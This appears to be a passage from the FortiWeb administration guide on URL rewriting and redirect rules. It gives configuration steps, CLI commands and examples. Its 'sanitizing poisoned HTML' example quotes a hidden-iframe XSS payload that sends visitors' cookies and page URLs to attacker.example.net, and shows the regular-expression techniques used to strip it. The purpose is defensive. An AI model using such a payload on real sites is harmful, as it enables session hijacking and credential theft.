Rewriting & redirecting

Rewriting or redirecting HTTP requests and responses is popular, and can be done for many reasons.

Similar to error message cloaking, URL rewriting can prevent the disclosure of underlying technology or web site structures to HTTP clients.

For example, when visiting a blog web page, its URL might be:

http://www.example.com/wordpress/?feed=rss2

Simply knowing the file name, that the blog uses PHP, its compatible database types, and the names of parameters via the URL could help an attacker to craft an appropriate attack for that platform. By rewriting the URL to something more human-readable and less platform-specific, the details can be hidden:

http://www.example.com/rss2

Aside from for security, rewriting and redirects can be for aesthetics or business reasons. Financial institutions can transparently redirect customers that accidentally request HTTP:

http://bank.example.com/login

to authenticate and do transactions on their secured HTTPS site:

https://bank.example.com/login

Additional uses could include:

• During maintenance windows, requests can be redirected to a read-only server.
• International customers can use global URLs, with no need to configure the back-end web servers to respond to additional HTTP virtual host names.
• Shorter URLs with easy-to-remember phrases and formatting are easier for customers to understand, remember, and return to.

Much more than their name implies, “URL rewriting rules” can do all of those things, and more:

• redirect HTTP requests to HTTPS
• rewrite the URL line in the header of an HTTP request
• rewrite the Host: field in the header of an HTTP request
• rewrite the Referer: field in the header of an HTTP request
• redirect requests to another web site
• send a 403 Forbidden response to a matching HTTP requests
• rewrite the HTTP location line in the header of a matching redirect response from the web server
• rewrite the body of an HTTP response from the web server

Rewrites/redirects are not supported in all modes. See Supported features in each operation mode. FortiWeb cannot rewrite requests that exceed FortiWeb’s buffer size. To block requests that cannot be rewritten, configure Malformed Request.

Rewrites will work on single requests as well as those that have been fragmented using:

Tranfer-Encoding: chunked

To configure a rewriting/redirection rule

1.  Go to Application Delivery > URL Rewriting Policy > URL Rewriting Rule.

2.  Click Create New.

A dialog appears. Its appearance varies by your settings in Action Type, and Request Action or Response Action.

3.  In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

4.  In Action Type, select whether this rule will rewrite HTTP requests from clients (Request Action) or HTTP responses from the web server (Response Action).

The next step varies by your selection in this step.

5.  If you selected Request Action in Action Type, in the Request Action drop-down list, select one of the following:

• Rewrite HTTP Header — Rewrites part(s) of the header in the HTTP request before passing it to the web server.
  
  
  

• Redirect (301 Permanently) or Redirect (302 Temporary) — In Location, type a URI, such as http://www.example.com/new-url, to use in the e 301 Moved Permanently or the 302 Moved Temporarily redirection HTTP response from the FortiWeb appliance. Like Host and URL, this field supports back-references such as $0 (see What are back-references?).
  
  

• Send 403 Forbidden — Return a 403 Forbidden response to the client.

6.  If you selected Response Action in Action Type, in the Response Action drop-down list, select one of the following:

• Rewrite HTTP Body — In Replacement, type the string that will replace content in the body of HTTP responses (see What are back-references? and Cookbook regular expressions).
  
  

• Rewrite HTTP Location — In Location, type a URI, such as http://www.example.com/new-url, to use in the 302 Moved Temporarily redirection when the HTTP response matches. Like Host and URL, this field supports back-references such as $0 (see What are back-references?).
  
  

7.  Click Create New to add match conditions for the rule to URL Rewriting Condition Table.

A dialog appears.

8.  Configure these settings:

9.  If you selected HTTP Referer from Object, also configure the following:

10.  Click OK.

11.  Repeat the previous two steps until you have defined all matching HTTP requests or responses that should be rewritten as defined in this rule.

12.  Go to Application Delivery > URL Rewriting Policy > URL Rewriting Policy.

To access this part of the web UI, your administrator’s account access profile must have Read and Write permission to items in the Web Protection Configuration category. For details, see Permissions.

13.  Click Create New.

A dialog appears.

14.  In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

15.  Click OK.

16.  Click Create New.

A dialog appears.

17.  For Priority, enter the priority for this rule in relation to other defined rules.

Rule order affects rewriting rule matching and behavior. The search begins with the highest Priority number (0 = greatest priority) rule in the list and progresses in order towards the largest number (lowest priority) in the list. Matching rules are determined by comparing the rule and the request. If no rule matches, the request remains unchanged.

18.  From the Rewriting Rule Name drop-down list, select the name of an existing rewriting rule to add to the policy.

To view or change the information associated with the rule, click the Detail link. The URL Rewriting Rule dialog appears, where you can view and edit the rules. Use your browser’s Back button to return.

19.  Click OK.

20.  Repeat the previous steps for each rule you want to add to the rewriting policy.

21.  If you are rewriting a response from the web server, and it is compressed, configure a decompression rule so that FortiWeb will be able to rewrite. See Configuring temporary decompression for scanning & rewriting.

22.  To apply the rewriting policy, select it in an inline protection profile. For details, see Configuring a protection profile for inline topologies.

See also

• Rewriting & redirecting
• Example: HTTP-to-HTTPS redirect
• Example: Full host name/URL translation
• Example: Sanitizing poisoned HTML
• Example: Rewriting URLs using regular expressions
• Example: Rewriting URLs using variables
• Regular expression syntax
• What are back-references?
• Cookbook regular expressions

Example: HTTP-to-HTTPS redirect

Example.com is a business-oriented social media provider. Its clients require that attackers cannot fraudulently post comments. If an attacker can post while disguised as originating from the client’s business, as this could enable an attacker to ruin a business’s reputation.

To provide clients with protection from HTTP session hijacking tools such as Firesheep, Example.com wants to automatically redirect all HTTP requests to HTTPS. This way, before the client attempts to log in and exposes both their credentials and HTTP session ID to an eavesdropper, the response and subsequent requests are SSL/TLS encrypted, and thereby protected.

The Redirect HTTP to HTTPS option in the server policy configuration allows you to redirect all HTTP requests to equivalent URLs on a secure site.

Alternatively, you can create a rewriting rule that matches all HTTP requests, regardless of host name variations or URL, such as:

http://www.example.com/login

http://www.example.co.jp/

and redirects them to the equivalent URL on its secure sites:

https://www.example.com/login

https://www.example.co.jp/

This rewriting rule has 3 parts:

• Regular expression that matches HTTP requests with any host name — (.*)

This regular expression should not match HTTPS requests, since it would decrease performance to redirect requests that are already in HTTPS.

• Regular expression that matches requests with any URL in the HTTP header — ^/(.*)$

• Redirect destination location that assembles the host name ($0) and URL ($1) from the request in front of the new protocol prefix, https://

  See What are back-references?.

This could be configured via either the CLI or web UI.

CLI commands to implement this are:

config waf url-rewrite url-rewrite-rule

edit "http_to_https"

set action redirect

set location "https://$0/$1"

set host-status disable

set host-use-pserver disable

set referer-status disable

set referer-use-pserver disable

set url-status disable

config match-condition

edit 1

set reg-exp "(.*)"

set protocol-filter enable

next

edit 2

set object http-url

set reg-exp "^/(.*)$"

next

end

next

end

config waf url-rewrite url-rewrite-policy

edit "http_to_https"

config rule

edit 1

set url-rewrite-rule-name "http_to_https"

next

end

next

end

See also

• Example: Full host name/URL translation
• Rewriting & redirecting
• Example: Rewriting URLs using regular expressions
• Example: Rewriting URLs using variables
• Regular expression syntax
• What are back-references?
• Cookbook regular expressions

Example: Full host name/URL translation

Example.com wants to translate its domain name: the external DNS name should be rewritten to the internal DNS name, and vice versa.

When the external DNS name www.example.com appears in the client’s request’s HTTP Host: header, it should be rewritten to www-internal.example.com.

In the server’s response traffic, when the internal DNS name www-internal.example.com appears in the Location: header, or in hyperlinks in the document body, it must be rewritten.

To do this, it creates a set of 3 rewriting rules, one for each of parts that FortiWeb must rewrite.

Example request host name rewrite

Example response location rewrite

Example response hyperlink rewrite

See also

• Example: Rewriting URLs using regular expressions
• Example: Rewriting URLs using variables
• Rewriting & redirecting
• Regular expression syntax
• What are back-references?
• Cookbook regular expressions

Example: Sanitizing poisoned HTML

Example.com is a cloud hosting service provider that has just bought several FortiWebs. Thousands of customers rely on it to maintain database-backed web servers. Before FortiWeb was added to its network, its web servers were regularly being attacked. Without HTTP-savvy intrusion detection and filtering, these posts poisoned many of its web applications by using XSS to inject stored clickjacking attacks into login pages.

Example.com wants to mitigate the effects of prior attacks to protect innocent clients while its incident response team finishes forensic work to audit all applications for impact and complete remediation. To do this, it will rewrite the body of offending responses.

Example.com’s incident response team has already found some of the poisoned HTML that is afflicting some login pages. All major web browsers are currently vulnerable.

It replaces the login pages of the web application with a hidden frame set which it uses to steal session or login cookies and spy on login attempts. The attacker can then use stolen login credentials or use the fraudulent session cookies. For bank clients, this is especially devastating: the attacker now has complete account access, including to credit cards.

To mitigate effects, example.com wants to scrub the malicious HTML from responses, before they reach clients that could unwittingly participate in attacks, or have their identities stolen.

To do this, FortiWeb will rewrite the injected attack:

<iframe src="javascript:document.location.href=

‘attacker.example.net/peep?url=‘+

parent.location.href.toString()+‘lulz=‘

escape(document.cookie);"

sandbox="allow-scripts allow-forms"

style="width:0%;height:0%;position:absolute;left:-9999em;">

</iframe>

into a null string to delete it from the infected web server’s response. FortiWeb will replace the attack with its own content:

<script src="http://irt.example.com/toDo.jss></script>

so that each infected response posts the infected host name, URL, and attack permutation to a “to do” list for the incident response team, as well as notifying the impacted customer.

Since attackers often try new attack forms to evade filters, the regular expression uses a few techniques for flexible matching:

• case insensitivity — (?i)
• alternative quotation marks — ["'`?“”„?‚’‘'?‹›«»]
• word breaks of zero or more white spaces — (\s)*
• word breaks using forward slashes instead of white space — [\s\/]*
• zero or more new line breaks within the tag — (\n|.)*

Example HTML body rewrite using regular expressions

See also

• Defining custom data leak & attack signatures
• Regular expression syntax
• What are back-references?
• Cookbook regular expressions

Example: Inserting & deleting body text

Example.com wants to delete some text, and insert other text. As an example, it wants to change:

Hey everyone, this works!

to:

Hey, this works now!

To do this, it will rewrite matching parts of the body in the web server’s response.

The regular expression contains capture groups (.*) that create numbered substrings — back-references such as $0 — that you can recall by their number when writing the replacement text. By omitting a capture group (in this case, $1 is omitted from Replacement), that part of the text is removed. To insert text, simply add it to the replacement text.

Example body rewrite using regular expressions

See also

• Regular expression syntax
• What are back-references?
• Cookbook regular expressions

Example: Rewriting URLs using regular expressions

Example.edu is a large university. Professors use a mixture of WordPress and Movable Type software for their course web pages to keep students updated. In addition, the campus bookstore and software store use custom shopping cart software. The URLs of these web applications contain clues about the underlying vendors, databases and scripting languages.

The university is a frequent target of attacks because it is a large organization with many mobile users and guests, and an Internet connection with large bandwidth. Its network administrators want to hide the underlying technology to make it more difficult for attackers to craft platform-specific attacks. Example.edu also wants to make clients’ bookmarked URLs more permanent, so that clients will not need to repair them if the university switches software vendors.

Because it has so many URLs, the university uses regular expressions to rewrite sets of similar URLs, rather than configuring rewrites for each URL individually. More specific URL rewrite rules are selected first in the URL rewriting group, before general ones, due to the affects of the matching order on which each rewrite rule is applied.

Example URL rewrites using regular expressions

See also

• Example: HTTP-to-HTTPS redirect
• Example: Rewriting URLs using variables
• Rewriting & redirecting
• Regular expression syntax
• What are back-references?
• Cookbook regular expressions

Example: Rewriting URLs using variables

Example.com has a web site that uses ASP, but the administrator wants it to appear that the web site uses PHP. To do this, the administrator configured a rule that changes any requested file's extension which is asp into php.

The condition table contains two match conditions, in this order:

1.  The Host: may be anything.

2.  The request URL must end in .asp.

If both of those are true, the request is rewritten.

The administrator does not want to rewrite matching requests into a single URL. Instead, the administrator wants each rewritten URL to re-use parts of the original request.

To assemble the rewritten URL by re-using the original request’s file path and Host:, the administrator uses two back reference variables: $0 and $1. Each variable refers to a part of the original request. The parts are determined by which capture group was matched in the Regular Expression field of each condition table object.

• $0 — The text that matched the first capture group (.*). In this case, because the object is the Host: field, the matching text is the host name, www.example.com.
• $1 — The text that matched the second capture group, which is also (.*). In this case, because the object is the request URL, the matching text is the file path, news/local.

Example URL rewrites using regular expressions

See also

• Rewriting & redirecting
• Example: Rewriting URLs using regular expressions
• Example: HTTP-to-HTTPS redirect
• Regular expression syntax
• What are back-references?
• Cookbook regular expressions

Open topic with navigation